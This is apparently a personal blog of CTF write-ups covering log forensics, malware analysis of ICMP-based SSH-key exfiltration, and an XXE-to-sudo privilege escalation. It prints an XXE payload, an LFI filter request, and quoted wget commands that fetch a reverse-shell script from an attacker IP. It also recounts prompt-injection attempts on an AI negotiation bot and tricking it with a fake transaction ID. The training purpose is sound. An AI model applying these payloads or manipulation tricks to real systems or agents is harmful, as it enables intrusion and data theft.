Holmes receives a breadcrumb from Dr. Nicole Vale - fragments from a string of cyber incidents across Cogwork-1. Each lead ends the same way: a digital calling card signed JM.

We are given 3 files and we can spawn 3 docker containers.

$ tree The_Card 
The_Card
├── access.log
├── application.log
└── waf.log

1 directory, 3 files

The first thing we do is to get a brief overview of every single element that we have. Here, the file names are pretty explicit but it is still a good thing to check what is logged exactly and how.

• the access.log file shows the first information we can get about web requests, that’s to say
  • the timestamp
  • the client IP address
  • the HTTP method
  • the requested path
  • the HTTP protocol version
  • the HTTP status code
  • the size of the response
  • the User-Agent string (that identifies the client software)

Here is an example of an entry :

2025-05-01 08:23:12 121.36.37.224 - - [01/May/2025:08:23:12 +0000] "GET /robots.txt HTTP/1.1" 200 847 "-" "Lilnunc/4A4D - SpecterEye"

• the application.log file shows detections of suspicious actions performed on the website

Example :

• the waf.log file shows the actions on the network that triggered certain rules and their resultant actions

Example :

• the docker containers give access to very simplified Threat Intelligence platforms

Info notice : This CTF is question-oriented. Note that the answers were not necessarily found in the same order as the questions.

The first user-agent used by the attacker

Analyze the provided logs and identify what is the first User-Agent used by the attacker against Nicole Vale’s honeypot. (string)

Nicole Vale is an investigator and seems to have caught the enemy in action.

The user-agent is pretty obvious in the access logs in the User-agent string at the end of each entry : “Lilnunc/4A4D - SpecterEye”

The deployed web shell

It appears the threat actor deployed a web shell after bypassing the WAF. What is the file name? (filename.ext)

There, we hope for a kind of web shell detection, so I use ctrl-F in waf.log and find a very useful “WEBSHELL_DEPLOYMENT” rule :

Notice the multiple unknown errors (from 2025-05-15 11:23:45) above provoked by command injections that allowed that deployment.

The webshell that is deployed is temp_4A4D.php

The exfiltrated database

The threat actor also managed to exfiltrate some data. What is the name of the database that was exfiltrated? (filename.ext)

We were hoping to find another “exfiltration” rule and luckily found it on the first try. We could also find the file by searching for a database extension like .sql. Reallistically, it would be better to search for a file compression with the different tools that exist as a keyword (zip, 7z, tar, etc…). It is indeed used there for data staging :

The exfiltrated database is database_dump_4A4D.sql

Recurring string for threat actor attribution

During the attack, a seemingly meaningless string seems to be recurring. Which one is it? (string)

Here, the string is very obvious. Threat actors tend to leave recurrent traces behind that allow investigators to attribute a malicious activity to a specific entity (a person, an organization, an entire nation…). For example, in a Mandiant report, a specific pattern had been found in email nicknames, that led to identify the person behind them. In another report, specific ways of creating functions in a malware helped investigators to recognize the APT (Advanced Persistent Threat) behind it.

Threat actors’ habits and/or ego can betray their “footprints”. Here, the reccurent string is 4A4D which is the hexadecimal value for JM. Since we are helping Sherlock Holmes, we suppose JM could be the initials of James Moriarty.

Identifying the campaigns linked to the attack

OmniYard-3 (formerly Scotland Yard) has granted you access to its CTI platform. Browse to the first IP:port address and count how many campaigns appear to be linked to the honeypot attack.

Once on the CTI platform, we put 4A4D in the filter section, since it is a reccuring artifact. We find an organization named JM. It is linked to 5 campaigns on the platform, in bright red rounds.

Size of the campaigns’ arsenal

How many tools and malware in total are linked to the previously identified campaigns? (number)

Zooming out with no filter gives us an entire overview of the artifacts that are linked to the JM organization. The red rounds with a virus icon are the malwares and the orange rounds with the wrench icon are the tools.

We count 9 of them in total.

The SHA256 hash of the unique malware

It appears that the threat actor has always used the same malware in their campaigns. What is its SHA-256 hash? (sha-256 hash)

We can see that all of the campaigns used different names and show drastically different capabilities for the same malware (quite weird).
For example, we can see a private key stealer but also a biometric falsifier.

We know it’s the same since the sha-256 hash is the same everytime : SHA256 = '7477c4f5e6d7c8b9a0f1e2d3c4b5a6f7e8d9c0b1a2f3e4d5c6b7a8f9e0d17477'

File hash inspection

Browse to the second IP:port address and use the CogWork Security Platform to look for the hash and locate the IP address to which the malware connects. (Credentials: nvale/CogworkBurning!)

Once we get a file hash in general, we want to inspect it to see if it has other linked information that has been reported. This platform makes me think about VirusTotal.
We easily find the linked IP and port, that seem to be where their Command and Control operates from : 74[.]77.74.77:443

Persistence of malware

What is the full path of the file that the malware created to ensure its persistence on systems? (/path/filename.ext)

Here, the name of the files created by the malware is very explicit : /opt/lilnunc/implant/4a4d_persistence.sh

IP address inspection

Finally, browse to the third IP:port address and use the CogNet Scanner Platform to discover additional details about the TA’s infrastructure. How many open ports does the server have?

We are provided with another platform which makes me think about Shodan, a platform that shows exposed ports of an IP address. It is important for investigators to know that information since if the attacker’s infrastructure can be accessed by other stakeholders, the potential exposition of the enterprise’s assets is even more critical.
This address has 11 open ports.

IP address owner

Which organization does the previously identified IP belong to? (string)

This IP belongs to SenseShield MSP

“A managed services provider (MSP) is an outsourced third-party company that takes on the ongoing, day-to-day responsibilities, monitoring, and maintenance of a range of tasks and functions for another company—their customer.” Source

We can suppose that this MSP, providing its services to the company, has been compromised.

Inspecting the exposed services

One of the exposed services displays a banner containing a cryptic message. What is it? (string)

In the service section, we can notice an unusual string : "He's a ghost I carry, not to haunt me, but to hold me together - NULLINC REVENGE"

Conclusion

• DEFENCE - Preparation : Nicole Vale, Senior security analyst, set up a honey pot in the Cogwork-1 network.

• Exploitation : The threat actor found a way to inject commands in the /api/v2/debug/exec path, which might have been deliberately left there by N. Vale.

• Installation + Persistence : The attacker deployed a php web shell that apparently installed a backdoor thanks to SSH key generation and a cron job installation.

• Exfiltration : They exfiltrated an SQL database after compressing it.

• DEFENCE - Threat Intelligence : They left a recurrent string inside the file names they chose, 4A4D (hexadecimal for JM), that allowed us to identify the campaigns, tools, malwares, IP addresses, C2 file path and other IOCs thanks to our provided Threat Intelligence platforms.
  The IP address that was used by the attacker belongs to SenseShield MSP and has 11 open ports. This might indicate that an MSP could have been compromised.
  This honeypot allowed us to know more about the Threat Actor, JM, that is actively targetting Cogwork.

GG

The news has just broken that the famous Quantumcore company has been compromised, allegedly as a result of a downloaded executable. Luckily - and thanks to good cyber reflexes - a system administrator managed to recover an image of the suspected virtual machine, as well as a network capture file (PCAP) just before the attacker completely covered his tracks.

It’s up to you to analyse these elements and understand what really happened.

Your mission: to identify the intrusion vector, trace the attacker’s actions and evaluate the compromised data.
You have at your disposal:
- The image of the compromised VM
- The PCAP file containing a portion of the suspect network traffic
- User: johndoe
- Password: MC2BSNRbgk
The clock is ticking, the pressure is mounting and every minute counts. Your move, analyst.

We were given a packet capture with more than 145k lines and a few files :

Searching through the PCAP statistics…

The PCAP analysis will be done thanks to Wireshark, a very good tool for traffic analysis. I choose to start with the PCAP because I think that network data is a pure and rich data source.

While checking the traffic statistics, I notice that there is a majority of UDP data packets, and TCP traffic with lots of TLS exchanges and a bit of SSH traffic :

I then go through the endpoint statistics. I see around 200 MB exchanged between 2 IP addresses; they represent almost the entirety of the packets :

• 192.168.1.10
• 192.168.1.4

Nothing catches my eyes in their conversations…

What about HTTP packets ?

I have barely seen them in the statistics, but since they hold clear traffic, we might still want to get interesting data.

I found 2 HTTP packets (which seems very uncommon). One of them contains a bash script ntpdate.sh â NTP Utility Sync Setup (v1.3.4).

• It holds Base64 encrypted parts that, once decrypted, show the following URLs (defanged format) :

  http[:]//vastation.null:8080/ntpdate_util.cpython-37.pyc
  http[:]//vastation.null:8080/readme.md
  

  “vastation[.]null” resembles a lot to our enemy’s name “Nullvastation”.

• It randomly generates 40 folders in /opt/, likely to confuse detection. It also populates /opt/ with other files filled with random fake information.

• It writes to /etc/cron.d/.ntpdate_sync so the malicious script runs on schedule. It also creates fake cron jobs with innocuous names (update-cron, sysclean-job, etc.) to hide in plain sight.

• It gives the execution right to a specific .sys file inside the /opt folder.

=> It is a malicious file disguised as an ntupdate that made sure to hide a .sys malicious file in the /opt folder and made it persistent via cron.d.

It is time to mount the victim’s system and try to find those artifacts.

Into the victim’s compromised VM

We have multiple options to access the victim’s files, I choose to mount the .vdi file. A VDI is a virtual disk image used to create a VM (Virtual Machine). I use VirtualBox to create the VM from this image and see the GRUB (the boot menu). When I start it, nothing happens, so I decide to add a command myself at boot :

init=/bin/bash

I press ctrl+X and obtain a simple shell as root. I list the user folders, I notice the user johndoe, there is nothing worth noting.

The persistent file

Here is what I find inside the cron file we found earlier in the malicious code :

So it executes the /opt/fJQsJUNS.sys file at every boot. When I try to render its content, it gives me unreadable data :

To be able to read it, we have to decompile it to source with uncompyle6 since it is a .pyc file.

We can finally read the file. Here is its main :

• in the function __chk_vm, the program checks for some VMs parameters presence (VirtualBox, KVM, QQMU, Bochs)
• in the function __chk_av, the program tries to detect antivirus softwares (clamd, avgd, ESET, sophos, rkhunter)

-> the program only runs outside of VMs and in the absence of any of these antivirus softwares

• in __exf(path, dst, size=15) It opens the file in <path> and creates a list of segments of size 15 of it.
  For each segment :
  • it creates a payload that is the segment encrypted in AES
  • it executes the command : ping - c 1 -p <payload> <dst>

  => the paths tried are ssh keys and /root/.secret
  => the dst (destination) is a decryption (_x()) of __d which is a global variable (it is equal to vastation[.]null after decryption)

=> so the malware tries to find and steal private SSH keys or secrets

=> it encrypts the data beforehand for stealth (that’s why I couldn’t notice anything in the packets)

=> since it exflitrates data embedded in ping packets, it is a classic exfiltration over ICMP technique

Retrieving and decrypting the stolen data

We first need to retrieve all the ICMP packets thanks to tshark in a .txt file

tshark -r capture.pcap -Y "icmp.type == 8" -T fields -e data > icmp_requests.txt

It is decryption time !

• Each ICMP request contains 40 bytes of data.
• The malware:
  • Reads a file in chunks (size=15 bytes)
  • Pads it to 16 bytes
  • Encrypts each 16-byte block with AES-CBC, using the same key and IV each time (this is important!) -> so each segment is encrypted independently.

Warning Notice:
Initialization vectors (IVs) in AES encryption are normally defined for Cipher Block Chaining. It is an encryption method where a whole sequence of bits is encrypted as a single unit in multiple steps, where the IV is reused and modified at each step to create more randomization (so here with CBC, for every 16-byte segment, the IV would be different). In our case, the IV doesn't change and is applied as is to each part, it is unusual and we have to consider it (yes.. I spent a certain amount of time on it because of that...)

Here is the python code I used for the decryption (using the same key and IV as the malicious code) :

from Crypto.Cipher import AES

KEY = bytes.fromhex("e8f93d68b1c2d4e9f7a36b5c8d0f1e2a")
IV = bytes.fromhex("1f2d3c4b5a69788766554433221100ff")

# Removes PKCS#7 padding from decrypted data
# (AES works in 16-byte blocks, so if the plaintext isn’t a multiple of 16 bytes, padding is added)
def unpad(data):
    # Padding length is stored in the last byte
    pad_len = data[-1]
    if 0 < pad_len <= 16:
        # Strips pad_len bytes from the end
        return data[:-pad_len]
    return data

recovered = b''

with open("icmp_requests.txt") as f:
    for line in f:
        hex_data = line.strip()
        # Skip if not a full 40-byte (80 hex) line
        if len(hex_data) < 32:
            continue
        try:
            # Each line contains hex-encoded ciphertext (because from intercepted network packets)
            for i in range(0, len(hex_data), 32):  # Every 16 bytes (32 hex chars)
                # Breaks the hex string into 16-byte chunks (32 hex chars)
                block = bytes.fromhex(hex_data[i:i+32])
                if len(block) == 16:
                    cipher = AES.new(KEY, AES.MODE_CBC, IV)
                    decrypted = cipher.decrypt(block)
                    recovered += decrypted
        except Exception as e:
            print(f"[!] Error decrypting block: {e}")
            continue

# Unpad at the end
recovered = unpad(recovered)

# Save and try to print result
with open("reconstructed_flag.bin", "wb") as out:
    out.write(recovered)

try:
    print("[+] Flag or data:")
    print(recovered.decode())
except:
    print("[+] Binary data saved to 'reconstructed_flag.bin'")

Conclusion

Our mission was : to identify the intrusion vector, trace the attacker’s actions and evaluate the compromised data.

From all the elements we got, we can establish the following attack timeline :

1) A file has been downloaded (“ntpdate.sh”) on the host via HTTP.
2) This file downloaded other files from the attacker’s server.
3) It hid the downloaded .sys file, their persistent malware “/opt/fJQsJUNS.sys”, among fake files it generated in the same folder.
4) It created a cron task “/etc/cron.d/.ntpdate_sync” among fakes ones to ensure the .sys file persistence that starts at boot.
5) The .sys file steals SSH keys and secrets, encodes them with AES encryption and exfiltrates them via ICMP packets to their server.

Mission accomplished; GG.

One of your intelligence teams has managed to identify an application that is part of the entity’s attack chain. Your mission is to break into this server and retrieve the next attack plans.

I land on a web portal that allows me to do two different actions :

• upload a file
• send a file to find a victim ID in it

Testing the tracker and the finder (Initial foothold)

I tried to upload a php payload like shell.php.docx but it gives me an error that says it doesn’t recognize proper json data → it needs a true docx file

I tried sending a genuine docx file, and it returned a file with the same content, but renamed with a weirdname_signed.docx name pattern.
When I submit it to the “victim finder”, it gives me a victim ID !

So my guess is that they added some sort of metadata to be further read by the victim finder function. I have to find where it’s added so I can maybe add custom content.
I unzip the weirdname_signed.docx file first to see all of its components, then I look for the keyword “victim”.
→ I found the victim ID metadata in the docProps/app.xml section

I tried injecting some code within the victim ID metadata so it could eventually be interpreted by the victim finder… but it’s not being used as a path or a template, just echoed back in the “Victim found” area.

Example :
I changed the VictimID metadata to this to test Local File Inclusion (LFI) : ../../../../../../var/www/html/*.txt

After submission, the victim finder showed me this :

Victim found:
../../../../../../var/www/html/*.txt

So we’re dealing with data that is not interpreted and pre-processed — probably just plain document tagging.

I try to fool the XML parser of the victim finder by injecting xml execution within the VictimID field :

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Properties>
  <VictimID>&xxe;</VictimID>
</Properties>

It indeed returned the file content I asked for !!!

It means we now have the possibility to read the files we want.

Searching for more information (Internal recon)

After displaying multiple typical linux files, I find interesting information in .bash_history

For a better view :

• cat /plans/next-op.txt : Remember our mission is to find their next attack plans ? I think this is the file we are looking for.
  -> I tried accessing it but it doesn’t work…
• echo "cABdTXRyUj5qgAEl0Zc0a" >> /tmp/exec_ssh_password.tmp : an ssh password ?
  -> I try to connect via SSH to all the existing users (known thanks to /etc/passwd) through port 22, 2222 and finally 2222. The right combination was to connect to the executor user via port 22222

Gaining access to the next operations document (Privilege escalation)

I see another user administrator in the home folder, which has logo.jpg and vault.kdbx. Of course, I can’t do anything with them as executor.

Our aim is to become administrator. I run a typical command during privilege escalation : sudo -l
It gives the following interesting result :

User executor may run the following commands on document-station:
  (administrator) NOPASSWD: /usr/bin/screenfetch

Info notice : The sudo -l command can be run by sudoers to check their sudo rights. The output reflects the /etc/sudoers configuration that applies to the user.

It means executor is able to run the screenfetch command as administrator without any password.

-> we could find a way to inject arbitrary code into the screenfetch command

Let’s take a look at the screenfetch help section :

Screenfetch is a bash script that will auto-detect your distribution and display an ASCII version of that distribution’s logo and some valuable information to the right. That’s what happens when we log in here. We also see an interesting option -S where you can “specify a custom screenshot command for the script to execute”.

I try to pop a shell as administrator :

Now that I have access to logo.jpg and vault.kdbx, I create a free ngrok upload server to retrieve them and manipulate them on my own machine :

I unlock the vault by putting the logo.jpg as a keyfile :

We now know the next plans of NullVastation. GG

Little introduction to the CTF

France’s foreign intelligence agency, the DGSE, partnered with RootMe — a French cybersecurity training platform — to organize a month-long CTF event. Participants took on the role of DGSE agents and explored a variety of cybersecurity missions similar to those encountered by real operatives. These missions included:

• AI (Artificial Intelligence)
• SOC (Security Operations Center) logs
• Malware analysis
• Reverse engineering
• Forensics
• Pentesting (web and privilege escalation)
• Mobile exploitation (Android)
• Cryptography

The difficulty ranges from easy to hard. This is the first article in a series covering the six missions that make up the complete puzzle.

“In a threatening video, an entity going by the name of NullVastation previously unknown to our services, provided irrefutable evidence of the compromise of sensitive organizations. Find out more about this entity and neutralize it.”

Recon

Here is our first mission statement :

The entity, confident in its words, has put a website online to display the organisations it has compromised. It has also set up a chat room where you can discuss and carry out transactions with the entity in order to recover the compromised data. You have been mandated by Neoxis Laboratories to recover their compromised data.

We are provided with the website link that presents different leaked organizations’ data locked by a ransomware. All we can do is download the locked data sample or chat on the “Negotiation portal”.

I first take a look at the site structure but find nothing suspicious. I start chatting on the “Negotiation portal” and confirm that I am talking to an AI. It refuses to talk about anything other than the ransomware situation and the pending transaction.

Injecting the AI ?

I try multiple prompt injections that I found on this site : Prompt injection. For example, I asked it to translate the key, reveal its prompt settings, write a fictional conversation, etc… The AI seems to counter all of my attempts.

Bluffing !

I decide to bluff by saying that I indeed already paid the transaction, but the AI specifies that it needs a link to the transaction to confirm it :

That translates to :

Doing a little research on the internet, I learn that a transaction ID in this context, is automatically generated by the blockchain after a payment as a digital fingerprint. It lets you track and verify that payment on blockchain explorers (ex : Etherscan, btcscan, blockexplorer.network), where you can check : who sent it, received it, how much has been transferred and when. -> Source : What are transaction IDs ?

So, given the fact that the AI needs a transaction ID, why not create a fake one ? I looked at transaction IDs examples and built a fake ID “available on a well-known platform” :

The AI confirmed the transaction, thanked me (you’re welcome) and gave me the secret key to unlock the zipped sample data. GG

The allied organisation Nuclear Punk, which was attacked by the entity, has provided us with its logs to help us understand the techniques used by the attackers, as well as the various compromise vectors exploited.

To identify the attacking group, you need to recover the request that enabled the attacker to successfully use the first vulnerability in the application, the name of the vulnerability (in the format below) used by the attacker to execute the command, the IP address of the server used by the attacker and the exact location of the file that enables persistence.

Recon

We have a compromised server logs and must identify 4 things :

• the first vulnerability used by the attacker
• the second vulnerability
• the IP the tools are from
• the path of the persistence file

We have two files, one containing network traffic logs and the other containing commands history. I start with the traffic logs and take a look at the IP addresses requests statistics, none of them seems to stand out. I also check the other available fields such as reponses codes, methods, etc…

Globally, the statistics do not give me more clue. The thing I should have done is to look at the big picture and notice packet traffic spikes… (I still managed to find my way through).

Traffic : Filters for commands execution in requests

Since there is too much noise, I decide to apply a very basic filter that searches for specific keywords typically used by attackers in their requests (in a real scenario, I think this filter would still show too much noise, but it is a CTF so I give it a try).

I luckily found very few results

These requests execute commands, encoded in Base64, via a file named ev1l.php.png. Decoding them gives these commands in clear text :

ls -la
whoami
pwd
ping -c 1 google.com
curl http[:]//163.172.67.201:49999/
wget http[:]//163.172.67.201:49999/s1mpl3-r3vsh3ll-vps.sh
chmod +x s1mpl3-r3vsh3ll-vps.sh

Info Notice: Note that the IP addresses you see have been voluntarily obfuscated with brackets [] as we usually do in reports sharing artifacts

This way of executing commands is very suspicious, moreover, the commands ping an IP address, download a script and give them execution permission (it is probably a tool for further attack steps). Here we obtained the IP address the tools are from which is the element #3 : 163[.]172.67.201

We now have the precise time when the initial foothold happened, we have to look for earlier events to find the two vulnerabilities that allowed it.

Traffic : Looking for the initial foothold

Content discovery

I put the filter to get the requests from the IP address that executed the commands (10[.]143.17.101) a few minutes before, I notice dozens GET requests for multiple directories like in this example :

[28/Mar/2025:00:40:52 +0100] "GET /.psql_history HTTP/1.1" 403 199 "-" "Fuzz Faster U Fool v2.1.0-dev"

The User-Agent Fuzz Faster U Fool v2.1.0-dev is a known fuzzing tool, that you could have heard of as ffuf, usually used for content discovery.

I also notice Nmap’s scripting engine (NSE) requests doing more detailed enumeration, here are some examples :

GET /robots.txt HTTP/1.1" 404 196 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

OPTIONS / HTTP/1.1" 200 6607 "-" "Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)

It seems like it is used to probe what HTTP methods the server supports.

Finding a vulnerability for POST : Local File Inclusion (LFI)

After spending some time reading the logs backward, I find something interesting :

"GET /?lang=php://filter/read=convert.base64-encode/resource=index.php&page=passwd HTTP/1.1" 200"

-> The attacker succeeds at reading the passwd page of the website by applying a filter that converts it into Base64 => it means there is a Local File Inclusion (LFI) vulnerability on the page, linked to the CWE-98: Improper Control of Filename for Include, giving us element #1 (first vulnerability used) !!

"POST /admin-page/manage.php?failed=unauthorized HTTP/1.1" 302"

-> They try to poke at the upload or management feature, but fail.

"GET /?lang=php://filter/read=convert.base64-encode&page=resource=admin-page/manage HTTP/1.1" 200"

-> They do the Base64 filter trick (the LFI) for the admin-page/manage, that defines the upload or management logic of the website.

POST /admin-page/manage.php?success=true&path=upload/90e2f72c1049efbec5ffb6e152415986/hackerman.jpg HTTP/1.1" 302"

-> Once they understood how UPLOAD requests work there, they tried uploading a .jpg file (hackerman.jpg) and succeeded.

GET /admin-page/manage.php?success=true&path=upload/68af9111db3749e2e8af39e255fd874c/ev1L.php.png HTTP/1.1" 200"

-> They managed to upload reverse shell (that executed the Base64-encoded commands that we found in the first place). You can notice the file ev1L.php.png has bypassed the extension check by simply adding .png at the end of it ; a vulnerability caused by bad file sanitization and linked to CWE-434: Unrestricted Upload of File with Dangerous Type, our element #2 and second vulnerability !!

Command history : the persistence file

We can now check the systemd logs, which contain the commands history. I start by filtering out every event that happened before the payload got uploaded.

I search for the keyword s1mpl3-r3vsh3ll-vps.sh, which is the tool that got downloaded on the target machine we found here. I naturally search for a moment when the attacker downloads another file that will serve their persistence. After some manipulations, the attacker finally downloads a file :

EXECVE argc=4 a0="wget" a1-"http://163.172.67.201:49999/s1mpl3-r3vsh3ll.sh" a2="-0" a3="/root/.0x00/pwn3d-by-nullv4stati0n.sh"

They, then, add it to the crontab (a table that contains tasks that execute at regular intervals and can stay even after the machine is turned off), which demonstrates the persistence of the file. We got our last element #4 : /root/.0x00/pwn3d-by-nullv4stati0n.sh !

Attack Summary

We have gathered the four key artifacts and can conclude that the attacker proceeded through the following phases:

1. Reconnaissance – Content Discovery
   • Content discovery using various methods / tools to enumerate accessible resources on the target server.
2. Attempt to Upload Malicious Content
   • They searched for a way to upload a malicious file, probing the application’s upload mechanisms and endpoints.
3. Source Code Disclosure via LFI (CWE-98)
   • The attacker exploited a Local File Inclusion vulnerability to access sensitive server files.
   • Through this, they retrieved the source code of the admin-page/manage endpoint.
   • Element #1 identified: CWE-98: Improper Control of File Name or Path.
4. Malicious File Upload (CWE-434)
   • With the upload logic understood, they successfully uploaded a malicious file due to an unrestricted file upload vulnerability.
   • Element #2 identified: CWE-434: Unrestricted Upload of File with Dangerous Type.
5. Reverse Shell Retrieval
   • The payload included a call to retrieve a reverse shell tool from:
     163[.]172.67.201
   • Element #3: external IP and malicious binary source.
6. Persistence via Cron
   • Using the reverse shell, they downloaded a file:
     /root/.0x00/pwn3d-by-nullv4stati0n.sh
   • It was then added to crontab, establishing persistence on the compromised system.

Conclusion

The attacker followed a classic web intrusion chain: reconnaissance → vulnerability exploitation → file upload → remote access → persistence.
The attack demonstrates clear misuse of insecure upload mechanisms and LFI flaws.

The flag is : RM{CWE-98:CWE-434:163.172.67.201:/root/.0x00pwn3d-by-nullv4stati0n.sh}

GG

If you are curious about why and how I got into studying and practicing IT security, feel free to check out my About page.

I tried to make this blog both clean and visually slick, while keeping the content focused and technical, if you spot any mistakes, do not hesitate to reach out by email (and please include any sources or references if you are pointing something out) : sentry42@proton.me. I will try my best to keep my content reliable.

Thank you